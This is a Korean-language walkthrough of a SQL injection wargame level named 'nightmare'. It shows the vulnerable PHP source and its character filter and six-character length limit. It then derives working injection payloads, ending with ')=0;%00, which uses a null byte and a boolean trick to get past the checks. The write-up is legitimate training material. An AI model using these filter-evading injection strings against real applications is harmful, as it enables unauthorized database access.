nightmare

1. Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

 

---

2. Condition

• prob _ . () # - 를 필터링 한다.
• strlen 함수를 통해 GET 파라미터 pw의 길이를 6이하로 제한한다.

 

---

3. Solution

우선 제한이 없다고 가정하고, 차근차근 필요한 부분을 작성해 보자.

 

select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'

변수명	값
pw	') or 1=1#

 

 

다음으로 필터링을 우회해 보자.

위 쿼리에서는 #이 필터링에 걸리게 된다.

#과 -모두 필터링 되어, ;%00을 이용하여 우회해 주었다.

변수명	값
pw	') or 1=1;%00

 

 

두번째로 길이를 맞춰볼 것이다.

현재 쿼리의 길이는 11이다. or 치환만으로는 6이하를 만족시킬 수 없다.

논리값을 바꿔주어 간신히 길이 6을 맞출 수 있었다.

변수명	값
pw	')=0;%00

 

 

위 값을 최종적으로 입력해주면 문제가 해결된다.

img_1 nightmare clear